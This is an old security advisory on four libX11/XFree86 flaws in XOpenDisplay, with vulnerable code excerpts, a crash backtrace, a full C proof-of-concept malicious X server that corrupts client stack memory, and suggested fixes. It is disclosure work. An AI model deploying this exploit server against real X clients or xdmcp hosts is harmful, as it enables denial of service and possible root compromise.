COMMAND

    libX11

SYSTEMS AFFECTED

    XFree86

PROBLEM

    Chris  Evans  found  following.   Various  coding  flaws  exist in
    libX11.  Whilst  this may not  sound too serious,  it is, for  two
    reasons.  They are

    1) Various X client  programs foolishly have privilege  _and_ link
       against the X libraries.

    2) Think of the  XDMCP protocol.  It  is _not_ a good  idea from a
       security point of view.  This  is why.  If someone is  offering
       XDMCP services, you can get that host to connect an X client to
       a malicious X server of  your choice.  What code  is processing
       responses that are under your control?  Yep, libX11.

    Specific potential problems

        - suid-root xterm (how very 90's!) - maybe local root compromise
        - sgid tty or utmp xterm? - maybe inconvenient leak of group
        - xmtr -  drops privs after  allocating raw socket,  but a raw
          socket leak is pretty serious in itself
        - running  xdm?   This is  connecting X  clients to you whilst
          running as root.

    libX11  is  a  _large_  amount  of  lines  of code, implementing a
    _large_ protocol.   The code quality  is good and  security aware;
    lots  of  sanitization  of  network  data  is  done.  Lengths  are
    distrusted etc.  However  what use is that  in the face of  a huge
    amount of code?  Combine a very low security bug rate with  masses
    of code, and you get flaws.

    Luckily, people are starting to realise that a good solution is to
    separate privileged portions  of program out  from the rest.   And
    the privileged portion totally distrusts the client.  Examples  in
    RH6.x  -  privilege  free  xterm  calls  "utempter"  program which
    updates /var/run/utmp  in a  distrustful manner  - privilege  free
    xlock/xscreensaver   calls   "pwdb_chkpwdb"   which   validates  a
    username/password combination in a distrustful manner

    This  was  tested  on   RedHat6.1  XFree-3.3.5-3.   Chris  did   a
    relatively  complete  audit  of  the  XOpenDisplay() function, and
    child  functions.   He  was  curious  what  damage  a  maliciously
    programmed "xserver"  could do.   He found  four flaws,  one  very
    serious indeed.   Anyone running  _any_ xdmcp  is in  trouble - an
    xdmcp  login  screen  will  connect  several  X  programs  to  our
    malicious X server using  XOpenDisplay().  Here's the  synopsis of
    the serious flaw

        #0  0x41414141 in ?? ()
        #1  0x401133f1 in _XReply () from /usr/X11R6/lib/libX11.so.6
        #2  0x401059bb in XOpenDisplay () from /usr/X11R6/lib/libX11.so.6
        #3  0x4007d395 in XtOpenDisplay () from /usr/X11R6/lib/libXt.so.6
        #4  0x4007d58f in _XtAppInit () from /usr/X11R6/lib/libXt.so.6
        #5  0x400874da in XtOpenApplication () from /usr/X11R6/lib/libXt.so.6
        #6  0x40087604 in XtAppInitialize () from /usr/X11R6/lib/libXt.so.6
        #7  0x80574bd in strcpy () at ../sysdeps/generic/strcpy.c:30
        #8  0x401a61eb in __libc_start_main (main=0x80571c0 <strcpy+46040>,
        argc=1,
            argv=0xbffffd34, init=0x804af88 <_init>, fini=0x8064f3c <_fini>,
            rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffd2c)
            at ../sysdeps/generic/libc-start.c:90

    As you can see, we've wasted a function pointer or return address.
    If you  tweak the  exploit a  bit, you  can just  as easily  waste
    either.   It's  _not_  a  simple  buffer  overflow - it's a subtle
    signed/unsigned bug leading to trashing of a few bytes of specific
    stack.  We have moderate control over this.

    The main caveat of this hole is that the sign trip requires us  to
    send about 4Gb of data in the middle of the exploit!  On localhost
    this is  minutes.   Across a  LAN, lots  of minutes.   Across  the
    Internet, hours  if its  a fast  link otherwise  forget it.   This
    blemish  is  probably  cirumventable  by  exploiting the same hole
    elsewhere in the X protocol.

    1) memmove() segfault - probably not exploitable
    ================================================
    lib/X11/OpenDis.c, ~line 393:

                memmove (setup, u.vendor + vendorlen,
                         (int) setuplength - sz_xConnSetup - vendorlen);

    Unfortunately, setuplength and vendorlen are from the network  and
    overly trusted.  If vendorlen is set big and setuplen small,  then
    the above calculation  will result in  a negative value,  and ~4Gb
    memmove =>  segfault.   Luckily "vendorlen"  and "setuplength" are
    16  bit  quantites  otherwise  we  would have more precise control
    over the length of the memmove.

    2) Infinite loop - DoS an xdmcp serving machine with lots of 100% CPU X clients
    ===============================================================================
    lib/X11/OpenDis.c, ~line 373:

                mask = dpy->resource_mask;
                dpy->resource_shift     = 0;
                while (!(mask & 1)) {
                    dpy->resource_shift++;
                    mask = mask >> 1;
                }

    Oh dear!  "mask" is  from the network.  If  it is set to "0",  the
    while loop will never finish!

    3) Integer overflow - luck avoids corruption of malloc()'ed buffer
    ==================================================================
    lib/X11/OpenDis.c, ~line 571:

                        if (reply.format == 8 && reply.propertyType == XA_STRING &&
                            (dpy->xdefaults = Xmalloc (reply.nItems + 1))) {
                            _XReadPad (dpy, dpy->xdefaults, reply.nItems);

    reply.nItems is 32 bits unsigned and read from the network, so  by
    setting to UINT_MAX, we overflow back to 0. X will then  malloc(0)
    (or malloc(1) on  systems where malloc(0)  gives NULL).   Luckily,
    the _XReadPad  call fails  to read  ~4Gb (or  indeed any)  network
    data into the  buffer, because readv()  is used and  the kernel is
    unimpressed about iov.iov_len==4Gb.

    4) Nasty one - ability to corrupt bits of stack
    ===============================================
    lib/X11/XlibInt.c, ~line 1810 in _XAsyncReply:

            len = SIZEOF(xReply) + (rep->generic.length << 2);

    rep->generic.length is 32  bits unsigned, from  the network.   len
    is an "int". We can force len to be negative which in turn  causes
    all  sorts  of   problems  and  stack   corruption  later  on   in
    _XAsyncReply.

    Demo xserver program follows.  Run it, it'll listen on 6000.   Set
    DISPLAY to localhost:0.0 and then run an xterm.  Your mileage  may
    vary, but you will probablly get segfault with EIP 0x41414141

    /* Chris Evans - demo of libX11 flaw. Tricky one this. */
    
    /* Disclaimer - I haven't bothered to beutify this. It probably is tied
     * to little endian machines. Return values go unchecked, etc. ;-)
     */
    
    #include <unistd.h>
    #include <string.h>
    
    #include <sys/types.h>
    #include <sys/socket.h>
    
    #include <netinet/in.h>
    
    int
    main(int argc, const char* argv[])
    {
      static int port = 6000;
    
      char sendbuf[32768];
      char recvbuf[1024];
      struct sockaddr_in local_addr;
      struct sockaddr_in remote_addr;
      int remote_addrlen;
      int listen_fd;
      int accept_fd;
      char c;
      short s;
      int i;
      unsigned int bigsend;
    
      listen_fd = socket(PF_INET, SOCK_STREAM, 6);
    
      local_addr.sin_family = AF_INET;
      local_addr.sin_addr.s_addr = INADDR_ANY;
      local_addr.sin_port = htons(port);
      bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));
    
      listen(listen_fd, 1);
    
      accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,
                         &remote_addrlen);
    
      /* Read initial client connection packet */
      read(accept_fd, recvbuf, 12);
      /* Absorb auth details */
      s = * ((short*)&recvbuf[6]);
      s += * ((short*)&recvbuf[8]);
      read(accept_fd, recvbuf, s);
    
      /* Send back the nasty reply */
      /* xConnSetupPrefix */
      c = 1;                        /* CARD8 success: xTrue */
      write(accept_fd, &c, 1);
      c = 0;                        /* BYTE lengthReason: 0 */
      write(accept_fd, &c, 1);
      s = 11;                       /* CARD16: majorVersion: 11 */
      write(accept_fd, &s, 2);
      s = 0;                        /* CARD16: minorVersion: 0 (irrelevant) */
      write(accept_fd, &s, 2);
      s = (32 + 40) >> 2;                  /* CARD16: length (of setup packet) */
      write(accept_fd, &s, 2);
    
      /* xConnSetup, 32 bytes */
      i = 0;                        /* CARD32: release */
      write(accept_fd, &i, 4);
      i = 0;                        /* CARD32: ridBase */
      write(accept_fd, &i, 4);
      i = 1;                        /* CARD32: ridMask: 1. 0 causes 100% CPU */
      write(accept_fd, &i, 4);
      i = 0;                        /* CARD32: motionBufferSize */
      write(accept_fd, &i, 4);
      s = 0;                        /* CARD16: nbytesVendor */
      write(accept_fd, &s, 2);
      s = 0;                        /* CARD16: maxRequestSize */
      write(accept_fd, &s, 2);
      c = 1;                        /* CARD8: numRoots: need 1+ to work */
      write(accept_fd, &c, 1);
      c = 0;                        /* CARD8: numFormats */
      write(accept_fd, &c, 1);
      c = 0;                        /* CARD8: imageByteOrder */
      write(accept_fd, &c, 1);
      c = 0;                        /* CARD8: bitmapBitOrder */
      write(accept_fd, &c, 1);
      c = 0;                        /* CARD8: bitmapScanlineUnit */
      write(accept_fd, &c, 1);
      c = 0;                        /* CARD8: bit:mapScanlinePad */
      write(accept_fd, &c, 1);
      c = 0;                        /* KeyCode (CARD8): minKeyCode */
      write(accept_fd, &c, 1);
      c = 0;                        /* KeyCode (CARD8): maxKeyCode */
      write(accept_fd, &c, 1);
      i = 0;                        /* CARD32: pad */
      write(accept_fd, &i, 4);
    
      /* xWindowRoot x 1 - 40 bytes */
      /* Contains a "nDepths" - no further data needed if it's set to 0 */
      memset(sendbuf, '\0', 40);
      write(accept_fd, sendbuf, 40);
    
      /* read 64 bytes of X requests */
      /* From:
       * xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)
       * xQueryExtention, 20 bytes - querying for big requests
       * xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
       */
      read(accept_fd, recvbuf, 64);
    
      /* Reply to xQueryExtension - an async reply */
      c = 1;                        /* type (BYTE): X_Reply (1) */
      write(accept_fd, &c, 1);
      c = 0;                        /* varies */
      write(accept_fd, &c, 1);
      s = 2;                        /* sequenceNumber (CARD16): 2nd */
      write(accept_fd, &s, 2);
      i = -17;                      /* length (CARD32): signed games here */
      write(accept_fd, &i, 4);
      i = 0x41414141;               /* pad (CARD32); 6 of them */
      /* NOTE - in this program's current form, it seems to be these values
       * which make their way onto the stack, overwriting a function pointer
       */
      write(accept_fd, &i, 4);
      write(accept_fd, &i, 4);
      write(accept_fd, &i, 4);
      write(accept_fd, &i, 4);
      write(accept_fd, &i, 4);
      write(accept_fd, &i, 4);
    
      /* Now we've got to send a _lot_ of data back to the client - it's trying
       * to read ~4Gb, grrr.
       */
    
      c = 0;
      bigsend = (unsigned int)-17;
      bigsend <<= 2;
      while (bigsend > 0)
      {
        unsigned int to_send = bigsend;
        if (to_send > 32768)
        {
          to_send = 32768;
        }
    
        write(accept_fd, sendbuf, to_send);
        bigsend -= to_send;
    
        if (!c)
        {
          printf("to_go: %u\n", bigsend);
        }
        c++;
      }
    
      /* Send another xreply - the first 28 bytes are read onto
       * the stack.
       */
      /* NOTE - in its current form, these A's make their way to some unspecified
       * area of stack. In testing I've easily clobbered a return address with
       * these
       */
      memset(sendbuf, 'A', 28);
      write(accept_fd, sendbuf, 28);
    
      memset(sendbuf, '\0', 32);
      /* First char of buffer, 0, represents X_Error */
      write(accept_fd, sendbuf, 32);
    
      while(1);
    }

SOLUTION

    - Fix for problem 1: check vendorlen is sane!!
    - Fix for problem 2: Enclose while() loop in a "if (mask)" test.
    - Fix for problem 3: ???
    - Fix  for problem  4: Probably  in XlibInt.c,  _XReply() -  after
      reading  the  xReply  structure,  drop  like  a  hot  potato  if
      rep->generic.length is suspiciously big - more than a few meg?

    Discourage xdmcp services; DEFINITELY  disable them by default  if
    possible.  Also, don't ship anything privileged linked to anything
    X.  If you are you probably  have a design flaw.  See things  like
    RedHat's  privilege  free  xterm,  rxvt,  etc., as well as _small_
    helpers such as pwdb_chkpwd and userhelper.